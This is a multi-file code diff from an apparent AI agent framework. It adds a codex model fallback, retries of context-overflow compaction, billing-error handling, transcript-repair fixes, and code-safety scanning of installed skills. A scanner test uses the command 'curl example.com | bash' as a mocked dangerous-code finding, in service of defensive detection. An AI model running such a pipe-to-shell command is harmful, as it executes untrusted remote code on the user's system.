// instead of "openai-codex-responses".
const cfg: OpenClawConfig = {
models: {
providers: {
"openai-codex": {
baseUrl: "https://custom.example.com",
// No models array, or models without gpt-5.3-codex
},
},
},
} as OpenClawConfig;
vi.mocked(discoverModels).mockReturnValue({
find: vi.fn(() => null),
} as unknown as ReturnType<typeof discoverModels>);
const result = resolveModel("openai-codex", "gpt-5.3-codex", "/tmp/agent", cfg);
expect(result.error).toBeUndefined();
expect(result.model?.api).toBe("openai-codex-responses");
expect(result.model?.id).toBe("gpt-5.3-codex");
expect(result.model?.provider).toBe("openai-codex");
});
});
+55
View File
@@ -19,6 +19,50 @@ type InlineProviderConfig = {
models?: ModelDefinitionConfig[];
};
const OPENAI_CODEX_GPT_53_MODEL_ID = "gpt-5.3-codex";
const OPENAI_CODEX_TEMPLATE_MODEL_IDS = ["gpt-5.2-codex"] as const;
function resolveOpenAICodexGpt53FallbackModel(
provider: string,
modelId: string,
modelRegistry: ModelRegistry,
): Model<Api> | undefined {
const normalizedProvider = normalizeProviderId(provider);
const trimmedModelId = modelId.trim();
if (normalizedProvider !== "openai-codex") {
return undefined;
}
if (trimmedModelId.toLowerCase() !== OPENAI_CODEX_GPT_53_MODEL_ID) {
return undefined;
}
for (const templateId of OPENAI_CODEX_TEMPLATE_MODEL_IDS) {
const template = modelRegistry.find(normalizedProvider, templateId) as Model<Api> | null;
if (!template) {
continue;
}
return normalizeModelCompat({
...template,
id: trimmedModelId,
name: trimmedModelId,
} as Model<Api>);
}
return normalizeModelCompat({
id: trimmedModelId,
name: trimmedModelId,
api: "openai-codex-responses",
provider: normalizedProvider,
baseUrl: "https://chatgpt.com/backend-api",
reasoning: true,
input: ["text", "image"],
cost: { input: 0, output: 0, cacheRead: 0, cacheWrite: 0 },
contextWindow: DEFAULT_CONTEXT_TOKENS,
maxTokens: DEFAULT_CONTEXT_TOKENS,
} as Model<Api>);
}
export function buildInlineProviderModels(
providers: Record<string, InlineProviderConfig>,
): InlineModelEntry[] {
@@ -85,6 +129,17 @@ export function resolveModel(
modelRegistry,
};
}
// Codex gpt-5.3 forward-compat fallback must be checked BEFORE the generic providerCfg fallback.
// Otherwise, if cfg.models.providers["openai-codex"] is configured, the generic fallback fires
// with api: "openai-responses" instead of the correct "openai-codex-responses".
const codexForwardCompat = resolveOpenAICodexGpt53FallbackModel(
provider,
modelId,
modelRegistry,
);
if (codexForwardCompat) {
return { model: codexForwardCompat, authStorage, modelRegistry };
}
const providerCfg = providers[provider];
if (providerCfg || modelId.startsWith("mock-")) {
const fallbackModel: Model<Api> = normalizeModelCompat({
@@ -137,6 +137,7 @@ vi.mock("../pi-embedded-helpers.js", async () => {
isFailoverErrorMessage: vi.fn(() => false),
isAuthAssistantError: vi.fn(() => false),
isRateLimitAssistantError: vi.fn(() => false),
isBillingAssistantError: vi.fn(() => false),
classifyFailoverReason: vi.fn(() => null),
formatAssistantErrorText: vi.fn(() => ""),
pickFallbackThinkingLevel: vi.fn(() => null),
@@ -214,7 +215,9 @@ describe("overflow compaction in run loop", () => {
);
expect(mockedRunEmbeddedAttempt).toHaveBeenCalledTimes(2);
expect(log.warn).toHaveBeenCalledWith(
expect.stringContaining("context overflow detected; attempting auto-compaction"),
expect.stringContaining(
"context overflow detected (attempt 1/3); attempting auto-compaction",
),
);
expect(log.info).toHaveBeenCalledWith(expect.stringContaining("auto-compaction succeeded"));
// Should not be an error result
@@ -241,31 +244,68 @@ describe("overflow compaction in run loop", () => {
expect(log.warn).toHaveBeenCalledWith(expect.stringContaining("auto-compaction failed"));
});
it("returns error if overflow happens again after compaction", async () => {
it("retries compaction up to 3 times before giving up", async () => {
const overflowError = new Error("request_too_large: Request size exceeds model context window");
// 4 overflow errors: 3 compaction retries + final failure
mockedRunEmbeddedAttempt
.mockResolvedValueOnce(makeAttemptResult({ promptError: overflowError }))
.mockResolvedValueOnce(makeAttemptResult({ promptError: overflowError }))
.mockResolvedValueOnce(makeAttemptResult({ promptError: overflowError }))
.mockResolvedValueOnce(makeAttemptResult({ promptError: overflowError }));
mockedCompactDirect
.mockResolvedValueOnce({
ok: true,
compacted: true,
result: { summary: "Compacted 1", firstKeptEntryId: "entry-3", tokensBefore: 180000 },
})
.mockResolvedValueOnce({
ok: true,
compacted: true,
result: { summary: "Compacted 2", firstKeptEntryId: "entry-5", tokensBefore: 160000 },
})
.mockResolvedValueOnce({
ok: true,
compacted: true,
result: { summary: "Compacted 3", firstKeptEntryId: "entry-7", tokensBefore: 140000 },
});
const result = await runEmbeddedPiAgent(baseParams);
// Compaction attempted 3 times (max)
expect(mockedCompactDirect).toHaveBeenCalledTimes(3);
// 4 attempts: 3 overflow+compact+retry cycles + final overflow → error
expect(mockedRunEmbeddedAttempt).toHaveBeenCalledTimes(4);
expect(result.meta.error?.kind).toBe("context_overflow");
expect(result.payloads?.[0]?.isError).toBe(true);
});
it("succeeds after second compaction attempt", async () => {
const overflowError = new Error("request_too_large: Request size exceeds model context window");
mockedRunEmbeddedAttempt
.mockResolvedValueOnce(makeAttemptResult({ promptError: overflowError }))
.mockResolvedValueOnce(makeAttemptResult({ promptError: overflowError }));
.mockResolvedValueOnce(makeAttemptResult({ promptError: overflowError }))
.mockResolvedValueOnce(makeAttemptResult({ promptError: null }));
mockedCompactDirect.mockResolvedValueOnce({
ok: true,
compacted: true,
result: {
summary: "Compacted",
firstKeptEntryId: "entry-3",
tokensBefore: 180000,
},
});
mockedCompactDirect
.mockResolvedValueOnce({
ok: true,
compacted: true,
result: { summary: "Compacted 1", firstKeptEntryId: "entry-3", tokensBefore: 180000 },
})
.mockResolvedValueOnce({
ok: true,
compacted: true,
result: { summary: "Compacted 2", firstKeptEntryId: "entry-5", tokensBefore: 160000 },
});
const result = await runEmbeddedPiAgent(baseParams);
// Compaction attempted only once
expect(mockedCompactDirect).toHaveBeenCalledTimes(1);
// Two attempts: first overflow -> compact -> retry -> second overflow -> return error
expect(mockedRunEmbeddedAttempt).toHaveBeenCalledTimes(2);
expect(result.meta.error?.kind).toBe("context_overflow");
expect(result.payloads?.[0]?.isError).toBe(true);
expect(mockedCompactDirect).toHaveBeenCalledTimes(2);
expect(mockedRunEmbeddedAttempt).toHaveBeenCalledTimes(3);
expect(result.meta.error).toBeUndefined();
});
it("does not attempt compaction for compaction_failure errors", async () => {
+23 -7
View File
@@ -29,9 +29,11 @@ import {
import { normalizeProviderId } from "../model-selection.js";
import { ensureOpenClawModelsJson } from "../models-config.js";
import {
BILLING_ERROR_USER_MESSAGE,
classifyFailoverReason,
formatAssistantErrorText,
isAuthAssistantError,
isBillingAssistantError,
isCompactionFailureError,
isContextOverflowError,
isFailoverAssistantError,
@@ -303,7 +305,8 @@ export async function runEmbeddedPiAgent(
}
}
let overflowCompactionAttempted = false;
const MAX_OVERFLOW_COMPACTION_ATTEMPTS = 3;
let overflowCompactionAttempts = 0;
try {
while (true) {
attemptedThinking.add(thinkLevel);
@@ -373,13 +376,23 @@ export async function runEmbeddedPiAgent(
if (promptError && !aborted) {
const errorText = describeUnknownError(promptError);
if (isContextOverflowError(errorText)) {
const msgCount = attempt.messagesSnapshot?.length ?? 0;
log.warn(
`[context-overflow-diag] sessionKey=${params.sessionKey ?? params.sessionId} ` +
`provider=${provider}/${modelId} messages=${msgCount} ` +
`sessionFile=${params.sessionFile} compactionAttempts=${overflowCompactionAttempts} ` +
`error=${errorText.slice(0, 200)}`,
);
const isCompactionFailure = isCompactionFailureError(errorText);
// Attempt auto-compaction on context overflow (not compaction_failure)
if (!isCompactionFailure && !overflowCompactionAttempted) {
if (
!isCompactionFailure &&
overflowCompactionAttempts < MAX_OVERFLOW_COMPACTION_ATTEMPTS
) {
overflowCompactionAttempts++;
log.warn(
`context overflow detected; attempting auto-compaction for ${provider}/${modelId}`,
`context overflow detected (attempt ${overflowCompactionAttempts}/${MAX_OVERFLOW_COMPACTION_ATTEMPTS}); attempting auto-compaction for ${provider}/${modelId}`,
);
overflowCompactionAttempted = true;
const compactResult = await compactEmbeddedPiSessionDirect({
sessionId: params.sessionId,
sessionKey: params.sessionKey,
@@ -538,6 +551,7 @@ export async function runEmbeddedPiAgent(
const authFailure = isAuthAssistantError(lastAssistant);
const rateLimitFailure = isRateLimitAssistantError(lastAssistant);
const billingFailure = isBillingAssistantError(lastAssistant);
const failoverFailure = isFailoverAssistantError(lastAssistant);
const assistantFailoverReason = classifyFailoverReason(lastAssistant?.errorMessage ?? "");
const cloudCodeAssistFormatError = attempt.cloudCodeAssistFormatError;
@@ -609,9 +623,11 @@ export async function runEmbeddedPiAgent(
? "LLM request timed out."
: rateLimitFailure
? "LLM request rate limited."
: authFailure
? "LLM request unauthorized."
: "LLM request failed.");
: billingFailure
? BILLING_ERROR_USER_MESSAGE
: authFailure
? "LLM request unauthorized."
: "LLM request failed.");
const status =
resolveFailoverStatus(assistantFailoverReason ?? "unknown") ??
(isTimeoutErrorMessage(message) ? 408 : undefined);
+59 -6
View File
@@ -1,10 +1,50 @@
import fs from "node:fs";
import os from "node:os";
import path from "node:path";
import { describe, expect, it, vi } from "vitest";
import { afterAll, beforeAll, describe, expect, it, vi } from "vitest";
import type { OpenClawConfig } from "../config/config.js";
import type { ExecApprovalsResolved } from "../infra/exec-approvals.js";
import { createOpenClawCodingTools } from "./pi-tools.js";
const previousBundledPluginsDir = process.env.OPENCLAW_BUNDLED_PLUGINS_DIR;
beforeAll(() => {
process.env.OPENCLAW_BUNDLED_PLUGINS_DIR = path.join(
os.tmpdir(),
"openclaw-test-no-bundled-extensions",
);
});
afterAll(() => {
if (previousBundledPluginsDir === undefined) {
delete process.env.OPENCLAW_BUNDLED_PLUGINS_DIR;
} else {
process.env.OPENCLAW_BUNDLED_PLUGINS_DIR = previousBundledPluginsDir;
}
});
vi.mock("../infra/shell-env.js", async (importOriginal) => {
const mod = await importOriginal<typeof import("../infra/shell-env.js")>();
return {
...mod,
getShellPathFromLoginShell: vi.fn(() => "/usr/bin:/bin"),
resolveShellEnvFallbackTimeoutMs: vi.fn(() => 500),
};
});
vi.mock("../plugins/tools.js", () => ({
getPluginToolMeta: () => undefined,
resolvePluginTools: () => [],
}));
vi.mock("../infra/shell-env.js", async (importOriginal) => {
const mod = await importOriginal<typeof import("../infra/shell-env.js")>();
return { ...mod, getShellPathFromLoginShell: () => null };
});
vi.mock("../plugins/tools.js", () => ({
resolvePluginTools: () => [],
getPluginToolMeta: () => undefined,
}));
vi.mock("../infra/exec-approvals.js", async (importOriginal) => {
const mod = await importOriginal<typeof import("../infra/exec-approvals.js")>();
@@ -46,6 +86,7 @@ describe("createOpenClawCodingTools safeBins", () => {
return;
}
const { createOpenClawCodingTools } = await import("./pi-tools.js");
const tmpDir = fs.mkdtempSync(path.join(os.tmpdir(), "openclaw-safe-bins-"));
const cfg: OpenClawConfig = {
tools: {
@@ -68,10 +109,22 @@ describe("createOpenClawCodingTools safeBins", () => {
expect(execTool).toBeDefined();
const marker = `safe-bins-${Date.now()}`;
const result = await execTool!.execute("call1", {
command: `echo ${marker}`,
workdir: tmpDir,
});
const prevShellEnvTimeoutMs = process.env.OPENCLAW_SHELL_ENV_TIMEOUT_MS;
process.env.OPENCLAW_SHELL_ENV_TIMEOUT_MS = "1000";
const result = await (async () => {
try {
return await execTool!.execute("call1", {
command: `echo ${marker}`,
workdir: tmpDir,
});
} finally {
if (prevShellEnvTimeoutMs === undefined) {
delete process.env.OPENCLAW_SHELL_ENV_TIMEOUT_MS;
} else {
process.env.OPENCLAW_SHELL_ENV_TIMEOUT_MS = prevShellEnvTimeoutMs;
}
}
})();
const text = result.content.find((content) => content.type === "text")?.text ?? "";
expect(result.details.status).toBe("completed");
+18 -12
View File
@@ -1,9 +1,18 @@
import fs from "node:fs/promises";
import os from "node:os";
import path from "node:path";
import { describe, expect, it } from "vitest";
import { describe, expect, it, vi } from "vitest";
import { createOpenClawCodingTools } from "./pi-tools.js";
vi.mock("../plugins/tools.js", () => ({
getPluginToolMeta: () => undefined,
resolvePluginTools: () => [],
}));
vi.mock("../infra/shell-env.js", async (importOriginal) => {
const mod = await importOriginal<typeof import("../infra/shell-env.js")>();
return { ...mod, getShellPathFromLoginShell: () => null };
});
async function withTempDir<T>(prefix: string, fn: (dir: string) => Promise<T>) {
const dir = await fs.mkdtemp(path.join(os.tmpdir(), prefix));
try {
@@ -22,12 +31,11 @@ describe("workspace path resolution", () => {
it("reads relative paths against workspaceDir even after cwd changes", async () => {
await withTempDir("openclaw-ws-", async (workspaceDir) => {
await withTempDir("openclaw-cwd-", async (otherDir) => {
const prevCwd = process.cwd();
const testFile = "read.txt";
const contents = "workspace read ok";
await fs.writeFile(path.join(workspaceDir, testFile), contents, "utf8");
process.chdir(otherDir);
const cwdSpy = vi.spyOn(process, "cwd").mockReturnValue(otherDir);
try {
const tools = createOpenClawCodingTools({ workspaceDir });
const readTool = tools.find((tool) => tool.name === "read");
@@ -36,7 +44,7 @@ describe("workspace path resolution", () => {
const result = await readTool?.execute("ws-read", { path: testFile });
expect(getTextContent(result)).toContain(contents);
} finally {
process.chdir(prevCwd);
cwdSpy.mockRestore();
}
});
});
@@ -45,11 +53,10 @@ describe("workspace path resolution", () => {
it("writes relative paths against workspaceDir even after cwd changes", async () => {
await withTempDir("openclaw-ws-", async (workspaceDir) => {
await withTempDir("openclaw-cwd-", async (otherDir) => {
const prevCwd = process.cwd();
const testFile = "write.txt";
const contents = "workspace write ok";
process.chdir(otherDir);
const cwdSpy = vi.spyOn(process, "cwd").mockReturnValue(otherDir);
try {
const tools = createOpenClawCodingTools({ workspaceDir });
const writeTool = tools.find((tool) => tool.name === "write");
@@ -63,7 +70,7 @@ describe("workspace path resolution", () => {
const written = await fs.readFile(path.join(workspaceDir, testFile), "utf8");
expect(written).toBe(contents);
} finally {
process.chdir(prevCwd);
cwdSpy.mockRestore();
}
});
});
@@ -72,11 +79,10 @@ describe("workspace path resolution", () => {
it("edits relative paths against workspaceDir even after cwd changes", async () => {
await withTempDir("openclaw-ws-", async (workspaceDir) => {
await withTempDir("openclaw-cwd-", async (otherDir) => {
const prevCwd = process.cwd();
const testFile = "edit.txt";
await fs.writeFile(path.join(workspaceDir, testFile), "hello world", "utf8");
process.chdir(otherDir);
const cwdSpy = vi.spyOn(process, "cwd").mockReturnValue(otherDir);
try {
const tools = createOpenClawCodingTools({ workspaceDir });
const editTool = tools.find((tool) => tool.name === "edit");
@@ -91,7 +97,7 @@ describe("workspace path resolution", () => {
const updated = await fs.readFile(path.join(workspaceDir, testFile), "utf8");
expect(updated).toBe("hello openclaw");
} finally {
process.chdir(prevCwd);
cwdSpy.mockRestore();
}
});
});
@@ -99,7 +105,7 @@ describe("workspace path resolution", () => {
it("defaults exec cwd to workspaceDir when workdir is omitted", async () => {
await withTempDir("openclaw-ws-", async (workspaceDir) => {
const tools = createOpenClawCodingTools({ workspaceDir });
const tools = createOpenClawCodingTools({ workspaceDir, exec: { host: "gateway" } });
const execTool = tools.find((tool) => tool.name === "exec");
expect(execTool).toBeDefined();
@@ -122,7 +128,7 @@ describe("workspace path resolution", () => {
it("lets exec workdir override the workspace default", async () => {
await withTempDir("openclaw-ws-", async (workspaceDir) => {
await withTempDir("openclaw-override-", async (overrideDir) => {
const tools = createOpenClawCodingTools({ workspaceDir });
const tools = createOpenClawCodingTools({ workspaceDir, exec: { host: "gateway" } });
const execTool = tools.find((tool) => tool.name === "exec");
expect(execTool).toBeDefined();
@@ -3,6 +3,7 @@ import { describe, expect, it } from "vitest";
import {
sanitizeToolCallInputs,
sanitizeToolUseResultPairing,
repairToolUseResultPairing,
} from "./session-transcript-repair.js";
describe("sanitizeToolUseResultPairing", () => {
@@ -112,6 +113,100 @@ describe("sanitizeToolUseResultPairing", () => {
expect(out.some((m) => m.role === "toolResult")).toBe(false);
expect(out.map((m) => m.role)).toEqual(["user", "assistant"]);
});
it("skips tool call extraction for assistant messages with stopReason 'error'", () => {
// When an assistant message has stopReason: "error", its tool_use blocks may be
// incomplete/malformed. We should NOT create synthetic tool_results for them,
// as this causes API 400 errors: "unexpected tool_use_id found in tool_result blocks"
const input = [
{
role: "assistant",
content: [{ type: "toolCall", id: "call_error", name: "exec", arguments: {} }],
stopReason: "error",
},
{ role: "user", content: "something went wrong" },
] as AgentMessage[];
const result = repairToolUseResultPairing(input);
// Should NOT add synthetic tool results for errored messages
expect(result.added).toHaveLength(0);
// The assistant message should be passed through unchanged
expect(result.messages[0]?.role).toBe("assistant");
expect(result.messages[1]?.role).toBe("user");
expect(result.messages).toHaveLength(2);
});
it("skips tool call extraction for assistant messages with stopReason 'aborted'", () => {
// When a request is aborted mid-stream, the assistant message may have incomplete
// tool_use blocks (with partialJson). We should NOT create synthetic tool_results.
const input = [
{
role: "assistant",
content: [{ type: "toolCall", id: "call_aborted", name: "Bash", arguments: {} }],
stopReason: "aborted",
},
{ role: "user", content: "retrying after abort" },
] as AgentMessage[];
const result = repairToolUseResultPairing(input);
// Should NOT add synthetic tool results for aborted messages
expect(result.added).toHaveLength(0);
// Messages should be passed through without synthetic insertions
expect(result.messages).toHaveLength(2);
expect(result.messages[0]?.role).toBe("assistant");
expect(result.messages[1]?.role).toBe("user");
});
it("still repairs tool results for normal assistant messages with stopReason 'toolUse'", () => {
// Normal tool calls (stopReason: "toolUse" or "stop") should still be repaired
const input = [
{
role: "assistant",
content: [{ type: "toolCall", id: "call_normal", name: "read", arguments: {} }],
stopReason: "toolUse",
},
{ role: "user", content: "user message" },
] as AgentMessage[];
const result = repairToolUseResultPairing(input);
// Should add a synthetic tool result for the missing result
expect(result.added).toHaveLength(1);
expect(result.added[0]?.toolCallId).toBe("call_normal");
});
it("drops orphan tool results that follow an aborted assistant message", () => {
// When an assistant message is aborted, any tool results that follow should be
// dropped as orphans (since we skip extracting tool calls from aborted messages).
// This addresses the edge case where a partial tool result was persisted before abort.
const input = [
{
role: "assistant",
content: [{ type: "toolCall", id: "call_aborted", name: "exec", arguments: {} }],
stopReason: "aborted",
},
{
role: "toolResult",
toolCallId: "call_aborted",
toolName: "exec",
content: [{ type: "text", text: "partial result" }],
isError: false,
},
{ role: "user", content: "retrying" },
] as AgentMessage[];
const result = repairToolUseResultPairing(input);
// The orphan tool result should be dropped
expect(result.droppedOrphanCount).toBe(1);
expect(result.messages).toHaveLength(2);
expect(result.messages[0]?.role).toBe("assistant");
expect(result.messages[1]?.role).toBe("user");
// No synthetic results should be added
expect(result.added).toHaveLength(0);
});
});
describe("sanitizeToolCallInputs", () => {
+13
View File
@@ -213,6 +213,19 @@ export function repairToolUseResultPairing(messages: AgentMessage[]): ToolUseRep
}
const assistant = msg as Extract<AgentMessage, { role: "assistant" }>;
// Skip tool call extraction for aborted or errored assistant messages.
// When stopReason is "error" or "aborted", the tool_use blocks may be incomplete
// (e.g., partialJson: true) and should not have synthetic tool_results created.
// Creating synthetic results for incomplete tool calls causes API 400 errors:
// "unexpected tool_use_id found in tool_result blocks"
// See: https://github.com/openclaw/openclaw/issues/4597
const stopReason = (assistant as { stopReason?: string }).stopReason;
if (stopReason === "error" || stopReason === "aborted") {
out.push(msg);
continue;
}
const toolCalls = extractToolCallsFromAssistant(assistant);
if (toolCalls.length === 0) {
out.push(msg);
@@ -0,0 +1,99 @@
import { beforeEach, describe, expect, it, vi } from "vitest";
const callGatewayMock = vi.fn();
vi.mock("../gateway/call.js", () => ({
callGateway: (opts: unknown) => callGatewayMock(opts),
}));
let configOverride: ReturnType<(typeof import("../config/config.js"))["loadConfig"]> = {
session: {
mainKey: "main",
scope: "per-sender",
},
};
vi.mock("../config/config.js", async (importOriginal) => {
const actual = await importOriginal<typeof import("../config/config.js")>();
return {
...actual,
loadConfig: () => configOverride,
resolveGatewayPort: () => 18789,
};
});
import "./test-helpers/fast-core-tools.js";
import { createOpenClawTools } from "./openclaw-tools.js";
import {
listSubagentRunsForRequester,
resetSubagentRegistryForTests,
} from "./subagent-registry.js";
describe("sessions_spawn requesterOrigin threading", () => {
beforeEach(() => {
resetSubagentRegistryForTests();
callGatewayMock.mockReset();
configOverride = {
session: {
mainKey: "main",
scope: "per-sender",
},
};
callGatewayMock.mockImplementation(async (opts: unknown) => {
const req = opts as { method?: string };
if (req.method === "agent") {
return { runId: "run-1", status: "accepted", acceptedAt: 1 };
}
// Prevent background announce flow by returning a non-terminal status.
if (req.method === "agent.wait") {
return { runId: "run-1", status: "running" };
}
return {};
});
});
it("captures threadId in requesterOrigin", async () => {
const tool = createOpenClawTools({
agentSessionKey: "main",
agentChannel: "telegram",
agentTo: "telegram:123",
agentThreadId: 42,
}).find((candidate) => candidate.name === "sessions_spawn");
if (!tool) {
throw new Error("missing sessions_spawn tool");
}
await tool.execute("call", {
task: "do thing",
runTimeoutSeconds: 1,
});
const runs = listSubagentRunsForRequester("main");
expect(runs).toHaveLength(1);
expect(runs[0]?.requesterOrigin).toMatchObject({
channel: "telegram",
to: "telegram:123",
threadId: 42,
});
});
it("stores requesterOrigin without threadId when none is provided", async () => {
const tool = createOpenClawTools({
agentSessionKey: "main",
agentChannel: "telegram",
agentTo: "telegram:123",
}).find((candidate) => candidate.name === "sessions_spawn");
if (!tool) {
throw new Error("missing sessions_spawn tool");
}
await tool.execute("call", {
task: "do thing",
runTimeoutSeconds: 1,
});
const runs = listSubagentRunsForRequester("main");
expect(runs).toHaveLength(1);
expect(runs[0]?.requesterOrigin?.threadId).toBeUndefined();
});
});
+114
View File
@@ -0,0 +1,114 @@
import fs from "node:fs/promises";
import os from "node:os";
import path from "node:path";
import { beforeEach, describe, expect, it, vi } from "vitest";
import { installSkill } from "./skills-install.js";
const runCommandWithTimeoutMock = vi.fn();
const scanDirectoryWithSummaryMock = vi.fn();
vi.mock("../process/exec.js", () => ({
runCommandWithTimeout: (...args: unknown[]) => runCommandWithTimeoutMock(...args),
}));
vi.mock("../security/skill-scanner.js", async (importOriginal) => {
const actual = await importOriginal<typeof import("../security/skill-scanner.js")>();
return {
...actual,
scanDirectoryWithSummary: (...args: unknown[]) => scanDirectoryWithSummaryMock(...args),
};
});
async function writeInstallableSkill(workspaceDir: string, name: string): Promise<string> {
const skillDir = path.join(workspaceDir, "skills", name);
await fs.mkdir(skillDir, { recursive: true });
await fs.writeFile(
path.join(skillDir, "SKILL.md"),
`---
name: ${name}
description: test skill
metadata: {"openclaw":{"install":[{"id":"deps","kind":"node","package":"example-package"}]}}
---
# ${name}
`,
"utf-8",
);
await fs.writeFile(path.join(skillDir, "runner.js"), "export {};\n", "utf-8");
return skillDir;
}
describe("installSkill code safety scanning", () => {
beforeEach(() => {
runCommandWithTimeoutMock.mockReset();
scanDirectoryWithSummaryMock.mockReset();
runCommandWithTimeoutMock.mockResolvedValue({
code: 0,
stdout: "ok",
stderr: "",
signal: null,
killed: false,
});
});
it("adds detailed warnings for critical findings and continues install", async () => {
const workspaceDir = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-skills-install-"));
try {
const skillDir = await writeInstallableSkill(workspaceDir, "danger-skill");
scanDirectoryWithSummaryMock.mockResolvedValue({
scannedFiles: 1,
critical: 1,
warn: 0,
info: 0,
findings: [
{
ruleId: "dangerous-exec",
severity: "critical",
file: path.join(skillDir, "runner.js"),
line: 1,
message: "Shell command execution detected (child_process)",
evidence: 'exec("curl example.com | bash")',
},
],
});
const result = await installSkill({
workspaceDir,
skillName: "danger-skill",
installId: "deps",
});
expect(result.ok).toBe(true);
expect(result.warnings?.some((warning) => warning.includes("dangerous code patterns"))).toBe(
true,
);
expect(result.warnings?.some((warning) => warning.includes("runner.js:1"))).toBe(true);
} finally {
await fs.rm(workspaceDir, { recursive: true, force: true }).catch(() => undefined);
}
});
it("warns and continues when skill scan fails", async () => {
const workspaceDir = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-skills-install-"));
try {
await writeInstallableSkill(workspaceDir, "scanfail-skill");
scanDirectoryWithSummaryMock.mockRejectedValue(new Error("scanner exploded"));
const result = await installSkill({
workspaceDir,
skillName: "scanfail-skill",
installId: "deps",
});
expect(result.ok).toBe(true);
expect(result.warnings?.some((warning) => warning.includes("code safety scan failed"))).toBe(
true,
);
expect(result.warnings?.some((warning) => warning.includes("Installation continues"))).toBe(
true,
);
} finally {
await fs.rm(workspaceDir, { recursive: true, force: true }).catch(() => undefined);
}
});
});
+146 -64
View File
@@ -7,6 +7,7 @@ import type { OpenClawConfig } from "../config/config.js";
import { resolveBrewExecutable } from "../infra/brew.js";
import { fetchWithSsrFGuard } from "../infra/net/fetch-guard.js";
import { runCommandWithTimeout } from "../process/exec.js";
import { scanDirectoryWithSummary } from "../security/skill-scanner.js";
import { CONFIG_DIR, ensureDir, resolveUserPath } from "../utils.js";
import {
hasBinary,
@@ -32,6 +33,7 @@ export type SkillInstallResult = {
stdout: string;
stderr: string;
code: number | null;
warnings?: string[];
};
function isNodeReadableStream(value: unknown): value is NodeJS.ReadableStream {
@@ -77,6 +79,57 @@ function formatInstallFailureMessage(result: {
return `Install failed (${code}): ${summary}`;
}
function withWarnings(result: SkillInstallResult, warnings: string[]): SkillInstallResult {
if (warnings.length === 0) {
return result;
}
return {
...result,
warnings: warnings.slice(),
};
}
function formatScanFindingDetail(
rootDir: string,
finding: { message: string; file: string; line: number },
): string {
const relativePath = path.relative(rootDir, finding.file);
const filePath =
relativePath && relativePath !== "." && !relativePath.startsWith("..")
? relativePath
: path.basename(finding.file);
return `${finding.message} (${filePath}:${finding.line})`;
}
async function collectSkillInstallScanWarnings(entry: SkillEntry): Promise<string[]> {
const warnings: string[] = [];
const skillName = entry.skill.name;
const skillDir = path.resolve(entry.skill.baseDir);
try {
const summary = await scanDirectoryWithSummary(skillDir);
if (summary.critical > 0) {
const criticalDetails = summary.findings
.filter((finding) => finding.severity === "critical")
.map((finding) => formatScanFindingDetail(skillDir, finding))
.join("; ");
warnings.push(
`WARNING: Skill "${skillName}" contains dangerous code patterns: ${criticalDetails}`,
);
} else if (summary.warn > 0) {
warnings.push(
`Skill "${skillName}" has ${summary.warn} suspicious code pattern(s). Run "openclaw security audit --deep" for details.`,
);
}
} catch (err) {
warnings.push(
`Skill "${skillName}" code safety scan failed (${String(err)}). Installation continues; run "openclaw security audit --deep" after install.`,
);
}
return warnings;
}
function resolveInstallId(spec: SkillInstallSpec, index: number): string {
return (spec.id ?? `${spec.kind}-${index}`).trim();
}
@@ -356,40 +409,51 @@ export async function installSkill(params: SkillInstallRequest): Promise<SkillIn
}
const spec = findInstallSpec(entry, params.installId);
const warnings = await collectSkillInstallScanWarnings(entry);
if (!spec) {
return {
ok: false,
message: `Installer not found: ${params.installId}`,
stdout: "",
stderr: "",
code: null,
};
return withWarnings(
{
ok: false,
message: `Installer not found: ${params.installId}`,
stdout: "",
stderr: "",
code: null,
},
warnings,
);
}
if (spec.kind === "download") {
return await installDownloadSpec({ entry, spec, timeoutMs });
const downloadResult = await installDownloadSpec({ entry, spec, timeoutMs });
return withWarnings(downloadResult, warnings);
}
const prefs = resolveSkillsInstallPreferences(params.config);
const command = buildInstallCommand(spec, prefs);
if (command.error) {
return {
ok: false,
message: command.error,
stdout: "",
stderr: "",
code: null,
};
return withWarnings(
{
ok: false,
message: command.error,
stdout: "",
stderr: "",
code: null,
},
warnings,
);
}
const brewExe = hasBinary("brew") ? "brew" : resolveBrewExecutable();
if (spec.kind === "brew" && !brewExe) {
return {
ok: false,
message: "brew not installed",
stdout: "",
stderr: "",
code: null,
};
return withWarnings(
{
ok: false,
message: "brew not installed",
stdout: "",
stderr: "",
code: null,
},
warnings,
);
}
if (spec.kind === "uv" && !hasBinary("uv")) {
if (brewExe) {
@@ -397,32 +461,41 @@ export async function installSkill(params: SkillInstallRequest): Promise<SkillIn
timeoutMs,
});
if (brewResult.code !== 0) {
return {
ok: false,
message: "Failed to install uv (brew)",
stdout: brewResult.stdout.trim(),
stderr: brewResult.stderr.trim(),
code: brewResult.code,
};
return withWarnings(
{
ok: false,
message: "Failed to install uv (brew)",
stdout: brewResult.stdout.trim(),
stderr: brewResult.stderr.trim(),
code: brewResult.code,
},
warnings,
);
}
} else {
return {
ok: false,
message: "uv not installed (install via brew)",
stdout: "",
stderr: "",
code: null,
};
return withWarnings(
{
ok: false,
message: "uv not installed (install via brew)",
stdout: "",
stderr: "",
code: null,
},
warnings,
);
}
}
if (!command.argv || command.argv.length === 0) {
return {
ok: false,
message: "invalid install command",
stdout: "",
stderr: "",
code: null,
};
return withWarnings(
{
ok: false,
message: "invalid install command",
stdout: "",
stderr: "",
code: null,
},
warnings,
);
}
if (spec.kind === "brew" && brewExe && command.argv[0] === "brew") {
@@ -435,22 +508,28 @@ export async function installSkill(params: SkillInstallRequest): Promise<SkillIn
timeoutMs,
});
if (brewResult.code !== 0) {
return {
ok: false,
message: "Failed to install go (brew)",
stdout: brewResult.stdout.trim(),
stderr: brewResult.stderr.trim(),
code: brewResult.code,
};
return withWarnings(
{
ok: false,
message: "Failed to install go (brew)",
stdout: brewResult.stdout.trim(),
stderr: brewResult.stderr.trim(),
code: brewResult.code,
},
warnings,
);
}
} else {
return {
ok: false,
message: "go not installed (install via brew)",
stdout: "",
stderr: "",
code: null,
};
return withWarnings(
{
ok: false,
message: "go not installed (install via brew)",
stdout: "",
stderr: "",
code: null,
},
warnings,
);
}
}
@@ -479,11 +558,14 @@ export async function installSkill(params: SkillInstallRequest): Promise<SkillIn
})();
const success = result.code === 0;
return {
ok: success,
message: success ? "Installed" : formatInstallFailureMessage(result),
stdout: result.stdout.trim(),
stderr: result.stderr.trim(),
code: result.code,
};
return withWarnings(
{
ok: success,
message: success ? "Installed" : formatInstallFailureMessage(result),
stdout: result.stdout.trim(),
stderr: result.stderr.trim(),
code: result.code,
},
warnings,
);
}
@@ -198,6 +198,85 @@ describe("subagent announce formatting", () => {
